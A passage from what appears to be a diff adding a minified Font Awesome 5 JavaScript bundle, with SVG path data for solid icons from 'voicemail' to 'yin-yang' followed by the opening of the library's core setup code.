"M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z" ], + voicemail: [ 640, 512, [], "f897", "M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z" ], + "volleyball-ball": [ 512, 512, [], "f45f", "M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z" ], + "volume-down": [ 384, 512, [], "f027", "M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z" ], + "volume-mute": [ 512, 512, [], "f6a9", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z" ], + "volume-off": [ 256, 512, [], "f026", "M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z" ], + "volume-up": [ 576, 512, [], "f028", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z" ], + "vote-yea": [ 640, 512, [], "f772", "M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z" ], + "vr-cardboard": [ 640, 512, [], "f729", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z" ], + walking: [ 320, 512, [], "f554", "M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z" ], + wallet: [ 512, 512, [], "f555", "M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + warehouse: [ 640, 512, [], "f494", "M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z" ], + water: [ 576, 512, [], "f773", "M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z" ], + "wave-square": [ 640, 512, [], "f83e", "M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z" ], + weight: [ 512, 512, [], "f496", "M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z" ], + "weight-hanging": [ 512, 512, [], "f5cd", "M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z" ], + wheelchair: [ 512, 512, [], "f193", "M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z" ], + wifi: [ 640, 512, [], "f1eb", "M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z" ], + wind: [ 512, 512, [], "f72e", "M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z" ], + "window-close": [ 512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z" ], + "window-maximize": [ 512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z" ], + "window-minimize": [ 512, 512, [], "f2d1", "M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z" ], + "window-restore": [ 512, 512, [], "f2d2", "M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z" ], + "wine-bottle": [ 512, 512, [], "f72f", "M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z" ], + "wine-glass": [ 288, 512, [], "f4e3", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z" ], + "wine-glass-alt": [ 288, 512, [], "f5ce", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z" ], + "won-sign": [ 576, 512, [], "f159", "M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z" ], + wrench: [ 512, 512, [], "f0ad", "M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + "x-ray": [ 640, 512, [], "f497", "M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z" ], + "yen-sign": [ 384, 512, [], "f157", "M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z" ], + "yin-yang": [ 496, 512, [], "f6ad", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" ] + }; + !function(c) { + try { + c(); + } catch (c) { + if (!e) throw c; + } + }(function() { + M("fas", n); + }); +}(), function() { + "use strict"; + function z(c) { + return (z = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(c) { + return typeof c; + } : function(c) { + return c && "function" == typeof Symbol && c.constructor === Symbol && c !== Symbol.prototype ? "symbol" : typeof c; + })(c); + } + function v(c, l) { + for (var h = 0; h < l.length; h++) { + var a = l[h]; + a.enumerable = a.enumerable || !1, a.configurable = !0, "value" in a && (a.writable = !0), + Object.defineProperty(c, a.key, a); + } + } + function $(z) { + for (var c = 1; c < arguments.length; c++) { + var v = null != arguments[c] ? arguments[c] : {}, l = Object.keys(v); + "function" == typeof Object.getOwnPropertySymbols && (l = l.concat(Object.getOwnPropertySymbols(v).filter(function(c) { + return Object.getOwnPropertyDescriptor(v, c).enumerable; + }))), l.forEach(function(c) { + var l, h, a; + l = z, a = v[h = c], h in l ? Object.defineProperty(l, h, { + value: a, + enumerable: !0, + configurable: !0, + writable: !0 + }) : l[h] = a; + }); + } + return z; + } + function H(c, l) { + return function(c) { + if (Array.isArray(c)) return c; + }(c) || function(c, l) { + var h = [], a = !0, z = !1, v = void 0; + try { + for (var m, e = c[Symbol.iterator](); !(a = (m = e.next()).done) && (h.push(m.value), + !l || h.length !== l); a = !0) ; + } catch (c) { + z = !0, v = c; + } finally { + try { + a || null == e.return || e.return(); + } finally { + if (z) throw v; + } + } + return h; + }(c, l) || function() { + throw new TypeError("Invalid attempt to destructure non-iterable instance"); + }(); + } + function f(c) { + return function(c) { + if (Array.isArray(c)) { + for (var l = 0, h = new Array(c.length); l < c.length; l++) h[l] = c[l]; + return h; + } + }(c) || function(c) { + if (Symbol.iterator in Object(c) || "[object Arguments]" === Object.prototype.toString.call(c)) return Array.from(c); + }(c) || function() { + throw new TypeError("Invalid attempt to spread non-iterable instance"); + }(); + } + var c = function() {}, l = {}, h = {}, a = null, m = { + mark: c, + measure: c + }; + try { + "undefined" != typeof window && (l = window), "undefined" != typeof document && (h = document), + "undefined" != typeof MutationObserver && (a = MutationObserver), "undefined" != typeof performance && (m = performance); + } catch (c) {} + var e = (l.navigator || {}).userAgent, s = void 0 === e ? "" : e, o = l, C = h, t = a, M = m, n = !!o.document, r = !!C.documentElement && !!C.head && "function" == typeof C.addEventListener && "function" == typeof C.createElement, p = ~s.indexOf("MSIE") || ~s.indexOf("Trident/"), V = "___FONT_AWESOME___", b = 16, i = "fa", L = "svg-inline--fa", cc = "data-fa-i2svg", d = "data-fa-pseudo-element", u = "data-fa-pseudo-element-pending", A = "data-prefix", g = "data-icon", S = "fontawesome-i2svg", y = "async", w = [ "HTML", "HEAD", "STYLE", "SCRIPT" ], Z = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(), k = { + fas: "solid", + far: "regular", + fal: "light", + fad: "duotone", + fab: "brands", + fak: "kit", + fa: "solid" + }, x = { + solid: "fas", + regular: "far", + light: "fal", + duotone: "fad", + brands: "fab", + kit: "fak" + }, q = "fa-layers-text", O = /Font Awesome ([5 ]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i, j = { + 900: "fas", + 400: "far", + normal: "far", + 300: "fal" + }, P = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ], E = P.concat([ 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 ]), N = [ "class", "data-prefix", "data-icon", "data-fa-transform", "data-fa-mask" ], _ = { + GROUP: "group", + SWAP_OPACITY: "swap-opacity", + PRIMARY: "primary", + SECONDARY: "secondary" + }, I = [ "xs", "sm", "lg", "fw", "ul", "li", "border", "pull-left", "pull-right", "spin", "pulse", "rotate-90", "rotate-180", "rotate-270", "flip-horizontal", "flip-vertical", "flip-both", "stack", "stack-1x", "stack-2x", "inverse", "layers", "layers-text", "layers-counter", _.GROUP, _.SWAP_OPACITY, _.PRIMARY, _.SECONDARY ].concat(P.map(function(c) { + return "".concat(c, "x"); + })).concat(E.map(function(c) { + return "w-".concat(c); + })), T = o.FontAwesomeConfig || {}; + if (C && "function" == typeof C.querySelector) { + [ [ "data-family-prefix", "familyPrefix" ], [ 